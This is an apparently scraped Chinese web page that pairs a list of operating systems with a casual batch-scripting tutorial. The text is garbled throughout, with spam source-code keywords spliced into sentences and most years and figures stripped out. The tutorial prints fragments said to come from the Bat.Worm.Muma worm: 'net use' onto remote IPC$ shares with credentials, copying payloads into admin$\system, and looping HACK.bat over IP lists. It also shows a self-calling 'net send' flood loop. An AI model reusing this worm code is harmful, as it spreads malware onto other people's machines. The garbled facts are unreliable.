皮皮网
皮皮网

【iapp源码怎么使用】【星球源码40级源码推荐】【源码之家a5源码】天堂M源码

来源:hashmap源码分析 面试 发表时间:2024-12-22 16:00:09

1.共有哪些操作系统?天堂
2.什么是批处理文件?
3.源代码**下载 源代码高清种子 源代码dvd字幕下载 源代码迅雷下载地址

天堂M源码

共有哪些操作系统?

       操作系统的种类大概分一下类主要有Windows,UNIX,LINUX,嵌入式操作系统.本来用表格形式写了一篇,但是表格太大了,发布出来后显示不正常.下面用列举的方式重新写一下.

        Windows 开发商 Microsoft

        Windows/me

        Windows/XP

        Windows Server

        Windows Vista

        Windows/me是基于MS-DOS的混合的/位操作系统正慢慢的退出PC舞台了,/XP以及Server都是基于WindowsNT的位操作系统,XP/Server已经有位版本了。Vista是天堂微软最新开发的版本预计在年推出。主要支持Intel,天堂AMD,后来增加了对PowerPC,MIPS的天堂支持。微软的天堂操作系统基本上统治了个人PC市场,大概占了%的市场份额。

        UNIX-like

        AIX 开发商 IBM

        AIX是天堂iapp源码怎么使用Advanced Interactive eXecutive的简称,它是天堂IBM 公司的UNIX操作系统,整个系统的天堂设计从网络、主机硬件系统,天堂到操作系统完全遵守开放系统的天堂原则.

        RS/ 采用IBM 的UNIX操作系统-AIX作为其操作系统.这是一个目前操作系统界最成功,应用领域最广,天堂最开放的天堂第二代的UNIX系统。它特别适合于做关键数据处理(CRITICAL).

        支持PowerPC POWER处理器.

        目前的天堂版本是AIX 5L 5.3,

        支持棵处理器,2TB内存,TB JFS2文件系统,TB JFS2文件.

        HP-UX 开发商 HP

        惠普公司在年随着推出位PA-处理器,开始了位技术的天堂实施计划,它形成了工业界运算最快的天堂商业和工程技术应用服务器的基础。为了与先进的硬件配套,惠普公司已经逐步地把位功能放入惠普公司在工业界领先的UNIX操作系统HP-UX。HP-UX .和.分别具有非常大的文件系统和文件。

        HP-UX .也有位版本,使得基于位PA-7X系统也可以得到HP-UX .的新功能和特色;基于PA-8X的K系列和T系列系统的客户要在HP-UX的位或位版本之间做出选择。惠普公司单机系统性能在工业界领先(,TPMS)的V系列系统,只可以运行位的HP-UX .。

        主要运行于HP公司的PA-系列处理器以及Intel的安腾系列处理器上.

        最新的版本HP-UX i v2.

        可以管理棵处理器,1TB内存,TB文件系统,最大2TB的文件。

        IRIX 开发商 SGI

        SGI公司最早是专门生产图形显示终端的, OpenGL标准便是由SGI提出来的.公司开发的这个操作系统是主要运行在基于MIPS处理器的图形工作站上,年SGI收购了MIPS, 年MIPS又脱离了SGI成立MIPS技术公司.年SGI推出了基于Linux的Altix系列操作系统.

        Mac OS X 开发商 Apple

        Apple公司的Macintosh机上的操作系统, 苹果机主要用于图形领域,在图形处理领域占有很大市场份额。Mac OS是首个在商用领域成功的图形用户界操作系统。Mac OS9及以前的版本都在搭在苹果机上销售的。它不支持其它设备,每当有新的设备时都要通过添加扩展来支持设备。新的Mac OS X结合BSDUnix、NeXTStep和Mac OS 9的元素。采用Unix风格的内存管理和抢占式多任务处理,它的最底层建基于BSDUnix的内核,实行的是部分开放源代码。

        现行的最新的系统版本是Mac OS X v.4.2。

        只能运行在PowerPC G3以上处理器的苹果机上,苹果公司正在跟Intel合作,表示以后苹果机会采用x处理器。

        Solaris 开发商 SUN

        最早也是基于BSD Unix开发的,那时就直接叫Sun OS,从Sun OS5以后就以Solaris的名字面市,从Solaris开始它也是免费开源的软件了,开始主要是为SPARC和x写的,后来经过一些改动也可以支持一大批的处理器.Solaris开始支持位处理器.

        FreeBSD 开发者 Nate Williams,Rod Grimes,Jordan Hubbard.

        Bill Jolitz的 BSD发展形成3个分支FreeBSD,NetBSD,OpenBSD了,这些都是免费的开源操作系统。第一张FreeBSD光盘是在年月发布的。

        FreeBSD 是一个在个人电脑上执行的作业系统,主要支持x处理器,其他跟 Intel 相容的 CPU 如 AMD 跟 Cyrix也被支持。

        FreeBSD 能提供你许多昂贵工作站才有的先进功能,这些特色包括:

        抢占式多任务处理.

        完整的 TCP/IP 网路功能 包含 SLIP, PPP, NFS 跟 NIS。

        内存保护(Memory protection) 能确保一个使用者不能打扰其他人。而一个应用程式也不能影响其他的程式。

        标准的 X 视窗系统 (X Window, XR6) 提供良好的图形用户接口(GUI)以便在一般的 VGA 显示卡以及萤幕上使用,并且提供完整的原始程式码。

        能直接执行在其他作业系统 (如 SCO, BSDI, NetBSD, Linux 跟 BSD)上编译的 (Binary) 程式。

        数以千计 可以直接执行(ready-to-run) 的应用程式, 可以在 FreeBSD ports 及 packages 中找到。 免去你上网路到处找软体的苦境。

        需要时才置换的虚拟记忆体(Demand paged virtual memory 以及合理的虚拟记忆体及档案缓冲区之缓冲功能(merged VM/buffer cache)

        NetBSD 开发者 NetBSD小组

        NetBSD是一种完全免费的类UNIX操作系统,它是一个重于夸平台应用的 BSD分支,它支持多种硬件平台,具有高度可移植性和硬件平台兼容性.它可以运行在从位alpha服务器到手持设备的多种硬件平台上. NetBSD的清晰设计以及它的众多高级特性使得它不论作为产品还是研究环境都表现得非常出色。而且它对用户在资源上进行全方位的支持。其上的应用程序很多都可以非常容易地获得。

        OpenBSD 开发者 由NetBSD的前核心成员Theo de Raddt领导的一个开发小组。

        OpenBSD由NetBSD分支出的计划,

        它是一个免费、多平台、基于4.4BSD的类Unix操作系统。目标在于强调正确性、安全性、标准化以及可移植性。着重于安全性,致力于成为最安全的操作系统。OpenBSD支持包括SVR4(Solaris),FreeBSD,Linux,BSDI,SunOS和HPUX等大部分二进制的模拟。

        Linux

        RedHat/Fedora 开发商 RedHat.Inc

        Redhat linux是最早的Linux发行版本之一,也是最早使用软件管理包RPM的Linux版本, Redhat 自9.0以后,不再发布桌面版的,而是把这个项目与开源社区合作,于是就有了Fedora 这个 Linux 发行版。最新版本是FC4.0.

        Slackware 开发商Slackware Linux, Inc

        Slackware Linux是由Patrick Volkerding开发的GNU/Linux发行版。与很多其他的发行版不同,它坚持KISS(Keep It Simple Stupid)的原则,就是说没有任何配置系统的图形界面工具。一开始,配置系统会有一些困难,但是更有经验的用户会喜欢这种方式的透明性和灵活性。

        Slackware Linux的另一个突出的特性也符合KISS原则:Slackware没有如RPM之类的成熟的软件包管理器。Slackware的星球源码40级源码推荐软件包都是通常的 tgz(tar/gzip)格式文件再加上安装脚本。Tgz对于有经验的用户来说,比RPM更为强大,并避免了RPM之类管理器的依赖性问题。 Slackware还有一个众所周知的特性就是BSD风格的初始化脚本。Slackware对所有的运行级(runlevel)/任务都用同一个脚本,而不是在不同的运行级中建立一堆脚本的链接。这样让你不必自己写新的脚本就能很容易地调整系统。

        Debian 开发商Debian project

        Debian 以其忠于Unix和自由软件以及丰富的选择出名,它的最新版本包含有5万个软件包,支持十一种体系结构,从ARM到IBM S,以及个人电脑上的x到PowerPC.它的软包管理工具APT一样有名.最新发布版本是Debian3.1也叫sarge

        Mandriva 开发商 Conectiva

        Mandriva Linux的前身是欧洲最大的Linux厂商之一Mandrakesoft,长期以来Mandrake Linux以最为方便、易用、华丽的Linux发行版著称。Mandrake Linux早期方便的字体安装工具和默认的中文支持,为Linux普及做出了很大的贡献。但是年前后Mandrakesoft陷入财务危机,濒临破产。公司于年2月日与拉丁美洲最大的Linux厂商Conectiva达成了收购协议,金额为万欧元,新公司旗下品牌 Mandrake Linux更名为Mandriva Linux。Mandriva以rpm作为软件管理工具,部分兼容Red Hat Linux/Fedora Core的预编译包.

        SuSE 开发商 Novell

        SUSE LINUX是德国的一个发行版,原是以Slackware Linux为基础,并提供完整德文使用界面的产品,年Novell收购了SUSE.

        Gentoo

        Gentoo Linux为用户提供了大量的应用程序源代码。Gentoo Linux的每一部分都可以在最终用户的系统上重新编译建造,甚至包括最基本的系统库和编译器自身。通过依赖关系描述和源代码镜像的形式提供软件,Gentoo Linux提供了大量软件供用户选择。标准的源代码镜像包括G的数据。选择不仅在软件整体方面,也存在于软件的内部。由于可以在本地编译软件,参数和变量的选择可以由用户自己指定。

        事实上,在软件的安装和升级方面,Gentoo拥有自己独特的优势。由于Portage技术的产生,Gentoo Linux可以担当一个理想的安全服务器、开发平台、专业级桌面应用、游戏服务器、嵌入式应用等等各种角色。由于其无限制的可配置性,我们甚至可以称 Gentoo Linux为一个准发行版。

        嵌入式式操作系统.

        uClinux

        uClinux是一种优秀的嵌入式Linux版本。uclinux是一个源码开放的操作系统,面向没有MMU(Memory Management Unit)的硬件平台。同标准Linux相比,它集成了标准Linux操作系统的稳定性、强大网络功能和出色的文件系,它是完全免费的.

        uC/OS II 开发商 Micrium

        抢占式实时多任务实时操作系统,可以管理个任务,开源的嵌式操作系统,商业应用需要得到Micrium公司的授权,

        VxWorks 开发商 WindRiver

        VxWorks操作系统是美国风河(WindRiver)公司于 年设计开发的一种嵌入式实时操作系统(RTOS),是嵌入式开发环境的关键组成部分。良好的持续发展能力、高性能的内核以及友好的用户开发环境,在嵌入式实时操作系统领域占据一席之地。它以其良好的可靠性和卓越的实时性被广泛地应用在通信、军事、航空、航天等高精尖技术及实时性要求极高的领域中,如卫星通讯、军事演习、弹道制导、飞机导航等。在美国的 F-、FA- 战斗机、B-2 隐形轰炸机和爱国者导弹上,甚至连年7月在火星表面登陆的火星探测器上也使用到了VxWorks

        VxWorks 的实时性做得非常好,其系统本身的开销很小,进程调度、进程间通信、中断处理等系统公用程序精练而有效,它们造成的延迟很短。

        PalmOS 开发商 PalmSource,Inc

        早期由US Robotics(其后被3Com收购,再独立改名为Palm公司)研制的专门用于其产品"Palm"的操作系统。主要用于PDA产器

        WindowsCE 开发商 Microsoft

        它是微软针对个人电脑以外的电脑产品所研发的嵌入式操作系统,而CE则为Customer Embedded的缩写。

什么是批处理文件?

       批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,源码之家a5源码它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。

       例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):

       ping sz.tencent.com > a.txt

       ping sz1.tencent.com >> a.txt

       ping sz2.tencent.com >> a.txt

       ping sz3.tencent.com >> a.txt

       ping sz4.tencent.com >> a.txt

       ping sz5.tencent.com >> a.txt

       ping sz6.tencent.com >> a.txt

       ping sz7.tencent.com >> a.txt

       exit

       是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。

       例二、再给出一个已经过时的例子(a.bat):

       @echo off

       if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

       a.bat

       为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

       例三,使用批处理脚本查是否中冰河。脚本内容如下:

       @echo off

       netstat -a -n > a.txt

       type a.txt | find "" && echo "Congratulations! You have infected GLACIER!"

       del a.txt

       pause & exit

       这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。

       例四,借批处理自动清除系统垃圾,脚本如下:

       @echo off

       if exist c:\windows\temp\*.* del c:\windows\temp\*.*

       if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*

       if exist c:\windows\History\*.* del c:\windows\History\*.*

       if exist c:\windows\recent\*.* del c:\windows\recent\*.*

       将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、vue源码转换为html源码可根据自己的实际情况进行改动,使其符合自己的要求。

       怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。

       为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

       看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!

       批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。

       从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的源码商城交易平台源码DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。

       例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

       @echo off

       ::close echo

       cls

       ::clean screen

       echo This programme is to make the MASM programme automate

       ::display info

       echo Edit by CODERED

       ::display info

       echo Mailto me : qqkiller***@sina.com

       ::display info

       if "%1"=="" goto usage

       ::if input without paramater goto usage

       if "%1"=="/?" goto usage

       ::if paramater is "/?" goto usage

       if "%1"=="help" goto usage

       ::if paramater is "help" goto usage

       pause

       ::pause to see usage

       masm %1.asm

       ::assemble the .asm code

       if errorlevel 1 pause & edit %1.asm

       ::if error pause to see error msg and edit the code

       link %1.obj & %1

       ::else link the .obj file and execute the .exe file

       :usage

       ::set usage

       echo Usage: This BAT file name [asm file name]

       echo Default BAT file name is START.BAT

       ::display usage

       先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

       在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

       1、@

       这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。

       2、echo

       中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

       echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么)。

       echo命令的另一种用法二:可以直接编辑文本文件。例六:

       echo nbtstat -A ..0.1 > a.bat

       echo nbtstat -A ..0.2 >> a.bat

       echo nbtstat -A ..0.3 >> a.bat

       以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。

       3、::

       这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。

       4、pause

       中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

       5、:和goto

       为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。

       goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:

       ……

       goto end

       ……

       :end

       这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。

       6、%

       这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了%了。看看例七:

       net use \\%1\ipc$ %3 /u:"%2"

       copy .BAT \\%1\admin$\system /y

       copy .BAT \\%1\admin$\system /y

       copy ipc2.BAT \\%1\admin$\system /y

       copy NWZI.EXE \\%1\admin$\system /y

       attrib \\%1\admin$\system\.bat -r -h -s

       以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

       关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

       这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

       烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!

       曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是年。因为年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有年那么长吗?答案是:试试看吧。

       批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!

       7、if

       接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

       (1)、输入判断。还是用例五里面的那几句吧:

       if "%1"=="" goto usage

       if "%1"=="/?" goto usage

       if "%1"=="help" goto usage

       这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。

       (2)、存在判断。再看例二里这句:

       if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

       如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

       (3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

       masm %1.asm

       if errorlevel 1 pause & edit %1.asm

       link %1.obj

       先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

       另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:

       masm %1.asm

       if not errorlevel 1 link %1.obj

       pause & edit %1.asm

       看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

       这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

       masm %1.asm

       if exist %1.obj link %1.obj

       else pause & edit %1.asm

       关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。

       IF [NOT] ERRORLEVEL number do command

       IF [NOT] string1==string2 do command

       IF [NOT] EXIST filename do command

       8、call

       学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、.bat和ipc.bat):

       start.bat:

       ……

       CALL .BAT 0

       ……

       .bat:

       ……

       ECHO %IPA%.%1 >HFIND.TMP

       ……

       CALL ipc.bat IPCFind.txt

       ipc.bat:

       for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

       有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

       在start.bat中,.bat后面跟了参数0,在执行时的效果,其实就是把.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。

       那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

       net send %1 This is a call example.

       call a.bat

       这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有台机器同时执行,而且每台机器开和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

